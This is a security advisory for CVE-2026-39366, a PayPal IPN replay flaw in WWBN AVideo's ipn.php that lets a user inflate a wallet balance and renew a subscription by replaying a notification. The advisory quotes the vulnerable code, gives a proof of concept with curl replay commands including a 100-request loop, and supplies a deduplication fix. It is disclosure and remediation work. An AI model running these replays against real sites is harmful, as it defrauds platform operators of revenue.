GHSA-mmw7-wq3c-wf9p CVE-2026-39366
WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.17%
- Chance of exploitation in the next 30 days. Higher than 6.30% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-345 Insufficient Verification of Data Authenticity
- Fix
- None yet
- No fixed version published
Description
Summary
The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.
Details
When a recurring payment IPN arrives at ipn.php, the handler:
-
Verifies authenticity via
PayPalYPT::IPNcheck()(line 16), which sends the POST data to PayPal'scmd=_notify-validateendpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returnsVERIFIEDfor the same authentic data on every submission. -
Looks up the subscription from
recurring_payment_idand directly credits the user's wallet (lines 41-53):
// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
$plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
Subscription::renew($users_id, $row['subscriptions_plans_id']);
$obj->error = false;
}
No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.
Compare with the patched handlers:
ipnV2.php(line 50):PayPalYPT::isTokenUsed($_GET['token'])and (line 93):PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), withPayPalYPT_logentries saved on success.webhook.php(line 30):PayPalYPT::isTokenUsed($token)withPayPalYPT_logentry saved on success.
The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:
$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";
PoC
# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.
# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.
# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow
# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.
# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
-d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'
# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
-d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'
done
# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.
Impact
- Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
- Unlimited subscription renewals: Each replay also calls
Subscription::renew(), indefinitely extending subscription access from a single payment. - Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.
Recommended Fix
Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPT_log and check before processing:
// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:
} else {
_error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} ");
// Deduplication: check if this IPN was already processed
$dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];
if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {
_error_log("PayPalIPN: already processed, skipping");
die(json_encode($obj));
}
$subscription = AVideoPlugin::loadPluginIfEnabled("Subscription");
if (!empty($subscription)) {
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
_error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) ");
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
// Log the transaction for deduplication
$pp = new PayPalYPT_log(0);
$pp->setUsers_id($users_id);
$pp->setRecurring_payment_id($dedup_key);
$pp->setValue($payment_amount);
$pp->setJson(['post' => $_POST]);
if ($pp->save()) {
$plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
Subscription::renew($users_id, $row['subscriptions_plans_id']);
$obj->error = false;
}
} else {
_error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency ");
}
}
}
Additionally, consider migrating the notify_url references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-345: Insufficient Verification of Data Authenticity
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
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